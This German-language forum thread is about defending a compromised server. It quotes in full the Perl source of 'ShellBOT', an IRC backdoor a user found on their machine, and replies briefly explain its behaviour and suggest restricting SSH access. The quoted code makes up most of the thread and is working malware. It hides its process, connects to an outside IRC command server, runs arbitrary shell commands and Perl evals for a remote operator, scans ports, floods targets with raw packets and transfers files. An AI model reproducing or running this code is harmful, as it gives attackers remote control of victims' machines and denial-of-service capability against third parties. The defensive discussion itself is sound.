Wie kann man sich vor hackern schützen?

Das ding läuft auf deinem Rechner, (standard) Port 2121 und ermöglicht von einem anderen Rechner aus den Zugang, gibt die Systeminfos aus und setzt die History zurück.

Schau mal mit

netstat -lnpd

nach, was alles für Prozesse laufen.

Dann habe ich noch ne Datei mit folgendem Code gefunden:

Zitat:

"#!/usr/bin/perl
#
# ShellBOT - Atrix Team
#
# 0ldW0lf -
#
#
################ CONFIGURACAO #################################################################
my $processo = 'bash-'; # Nome do processo que vai aparece no ps #
#----------------------------------------------################################################
my $linas_max='10'; # Evita o flood depois de X linhas #
#----------------------------------------------################################################
my $sleep='3'; # ele dorme X segundos #
##################### IRC #####################################################################
my @adms=("xUmaRix"); # Nick do administrador #
#----------------------------------------------################################################
my @canais=(".#myutp,#mashoor,#utp,#malay."); # Caso haja senha ("#canal :senha") #
#----------------------------------------------################################################
my $nick= 'xUmaRix|knoor.de'; # Nick do bot. Caso esteja em uso vai aparecer #
# aparecer com numero radonamico no final #
#----------------------------------------------################################################
my $ircname = 'Long.Life.Smoke.Weed'; # User ID #
#----------------------------------------------################################################
chop (my $realname = `id`); # Full Name #
#----------------------------------------------################################################
$servidor='irc.webchat.org' unless $servidor; # Servidor de irc que vai ser usado #
# caso não seja especificado no argumento #
#----------------------------------------------################################################
my $porta='7000'; # Porta do servidor de irc #
################ ACESSO A SHELL ###############################################################
my $secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
################################################################################
###############

my $VERSAO = '0.2';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problem to f0rk: $!" unless defined($pid);



our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

#############################
# B0tchZ na veia ehehe #
#############################

$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}

sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];

my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;

$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);

$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 1;
}

}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
&DCC::connections;
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);

for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}



sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION ShellBOT-$VERSAO from xUmaRix\001");
}
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!asc)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!asc" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick".int rand(9999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal");
}
}
}

sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("21","22","23","25","53","80","110","143");
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}

if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :open ports: @aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :No open ports found");
}
}
if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};

sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Time\002: $dtime"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");


}
exit;
}
}
}

sub ircase {
my ($kem, $printl, $case) = @_;

if ($case =~ /^join (.*)/) {
j("$1");
}
if ($case =~ /^part (.*)/) {
p("$1");
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^voice/) {
voice("$printl", "$kem") if $case eq "voice";
$oarg = substr($case, 6);
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^devoice/) {
devoice("$printl", "$kem") if $case eq "devoice";
$oarg = substr($case, ;
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =~ /^invite\s+(\S+) (.*)/) {
invite("$1", "$2");
}
if ($case =~ /^nick (.*)/) {
nick("$1");
}
if ($case =~ /^connecta\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND("$1", "$2");
}
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =~ /^eval (.*)/) {
eval "$1";
}
}
sub shell {
return unless $secv;
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "Dir inexistent!");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
my $iaddr = inet_aton($_[0]);
my $msg = 'B' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65535; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

# DoS ??
for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}



#############
# ALIASES #
#############

sub action {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}

sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
return unless $#_ == 1;
sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
return unless $#_ == 1;
sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
return unless $#_ == 1;
sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
return unless $#_ == 1;
sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
return unless $#_ == 1;
sendraw("KICK $_[0] $_[1] :$_[2]");
}

sub modo {
return unless $#_ == 0;
sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}

sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}

sub invite {
return unless $#_ == 1;
sendraw("INVITE $_[1] $_[0]");
}
sub topico {
return unless $#_ == 1;
sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub whois {
return unless $#_ == 0;
sendraw("WHOIS $_[0]");
}
sub who {
return unless $#_ == 0;
sendraw("WHO $_[0]");
}
sub names {
return unless $#_ == 0;
sendraw("NAMES $_[0]");
}
sub away {
sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
sendraw("QUIT :$_[0]");
}



# DCC
package DCC;

sub connections {
my @ready = $dcc_sel->can_read(1);
# return unless (@ready);
foreach my $fh (@ready) {
my $dcctipo = $DCC{$fh}{tipo};
my $arquivo = $DCC{$fh}{arquivo};
my $bytes = $DCC{$fh}{bytes};
my $cur_byte = $DCC{$fh}{curbyte};
my $nick = $DCC{$fh}{nick};

my $msg;
my $nread = sysread($fh, $msg, 10240);

if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
$DCC{$fh}{status} = "Cancelado";
$DCC{$fh}{ftime} = time;
$dcc_sel->remove($fh);
$fh->close;
next;
}

if ($dcctipo eq "get") {
$DCC{$fh}{curbyte} += length($msg);

my $cur_byte = $DCC{$fh}{curbyte};

open(FILE, ">> $arquivo");
print FILE "$msg" if ($cur_byte <= $bytes);
close(FILE);

my $packbyte = pack("N", $cur_byte);
print $fh "$packbyte";

if ($bytes == $cur_byte) {
$dcc_sel->remove($fh);
$fh->close;
$DCC{$fh}{status} = "Recebido";
$DCC{$fh}{ftime} = time;
next;
}
} elsif ($dcctipo eq "send") {
my $send = $fh->accept;
$send->autoflush(1);
$dcc_sel->add($send);
$dcc_sel->remove($fh);
$DCC{$send}{tipo} = 'sendcon';
$DCC{$send}{itime} = time;
$DCC{$send}{nick} = $nick;
$DCC{$send}{bytes} = $bytes;
$DCC{$send}{curbyte} = 0;
$DCC{$send}{arquivo} = $arquivo;
$DCC{$send}{ip} = $send->peerhost;
$DCC{$send}{porta} = $send->peerport;
$DCC{$send}{status} = "Enviando";

#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
open(FILE, "< $arquivo");
my $fbytes;
read(FILE, $fbytes, 1024);
print $send "$fbytes";
close FILE;
# delete($DCC{$fh});
} elsif ($dcctipo eq 'sendcon') {
my $bytes_sended = unpack("N", $msg);
$DCC{$fh}{curbyte} = $bytes_sended;
if ($bytes_sended == $bytes) {
$fh->close;
$dcc_sel->remove($fh);
$DCC{$fh}{status} = "Enviado";
$DCC{$fh}{ftime} = time;
next;
}
open(SENDFILE, "< $arquivo");
seek(SENDFILE, $bytes_sended, 0);
my $send_bytes;
read(SENDFILE, $send_bytes, 1024);
print $fh "$send_bytes";
close(SENDFILE);
}
}
}


sub SEND {
my ($nick, $arquivo) = @_;
unless (-r "$arquivo") {
return(0);
}

my $dccark = $arquivo;
$dccark =~ s/[.*\/](\S+)/$1/;

my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
my $longip = unpack("N",inet_aton($meuip));

my @filestat = stat($arquivo);
my $size_total=$filestat[7];
if ($size_total == 0) {
return(0);
}

my ($porta, $sendsock);
do {
$porta = int rand(64511);
$porta += 1024;
$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
} until $sendsock;

$DCC{$sendsock}{tipo} = 'send';
$DCC{$sendsock}{nick} = $nick;
$DCC{$sendsock}{bytes} = $size_total;
$DCC{$sendsock}{arquivo} = $arquivo;


&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");

}

sub GET {
my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
return(0) if (-e "$arquivo");
if (open(FILE, "> $arquivo")) {
close FILE;
} else {
return(0);
}

my $dccip=fixaddr($dcclongip);
return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
$dccsock->autoflush(1);
$dcc_sel->add($dccsock);
$DCC{$dccsock}{tipo} = 'get';
$DCC{$dccsock}{itime} = time;
$DCC{$dccsock}{nick} = $nick;
$DCC{$dccsock}{bytes} = $bytes;
$DCC{$dccsock}{curbyte} = 0;
$DCC{$dccsock}{arquivo} = $arquivo;
$DCC{$dccsock}{ip} = $dccip;
$DCC{$dccsock}{porta} = $dccporta;
$DCC{$dccsock}{status} = "Recebendo";
}

# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
my $socket = shift;
my $sock_tipo = $DCC{$socket}{tipo};
unless (lc($sock_tipo) eq "chat") {
my $nick = $DCC{$socket}{nick};
my $arquivo = $DCC{$socket}{arquivo};
my $itime = $DCC{$socket}{itime};
my $ftime = time;
my $status = $DCC{$socket}{status};
$ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

my $d_time = $ftime-$itime;

my $cur_byte = $DCC{$socket}{curbyte};
my $bytes_total = $DCC{$socket}{bytes};

my $rate = 0;
$rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
my $porcen = ($cur_byte*100)/$bytes_total;

my ($r_duv, $p_duv);
if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
$r_duv = $3; $r_duv++ if $4 >= 5;
$rate = "$1\.$2"."$r_duv";
}
if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
$p_duv = $3; $p_duv++ if $4 >= 5;
$porcen = "$1\.$2"."$p_duv";
}
return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
}


return(0);
}


# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
sub fixaddr {
my ($address) = @_;

chomp $address; # just in case, sigh.
if ($address =~ /^\d+$/) {
return inet_ntoa(pack "N", $address);
} elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
return $address;
} elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
return inet_ntoa(((gethostbyname($address))[4])[0]);
} else {
return;
}
}"

Was bedeutet diese Datei???

Die dc.pl ist normalerweise der Auftakt, dir andere Programme unterzujubeln.

Der shellBOT macht eigentlich nichts weiter, als:

- sich an den IRC-Chat 'irc.webchat.org' über die Port-ID 7000 anzuklemmen
- sich den Nick xUmaRix|knoor.de zu verpassen
- in die Chaträume #myutp #mashoor #utp #malay zu gehen
- deinen Server, speziell nach den Ports 21,22,23,25,53,80,110,143 abzuscannen
- und dies in den oberen IRC-Channeln kundzutun.

Wie es aussieht, lassen sich auch Kommandos über den IRC Chat an deinen Server senden.

*ohne Gewähr nach kurzem Rübergucken*

Vielen Dank für Deine Antwort.

Eine primitive aber einfache Vorsichtsmassnahme ist es z.B., den SSH-Server nur laufen zu lassen, wenn man ihn wirklich braucht oder auch die IP-Range für die Telnet-/SSH-Zugriffe auf die wirklich benutzten zu beschränken.
Damit bleiben schon mal (geschätzte) ca. 70% der Hackversuche im Ansatz stecken.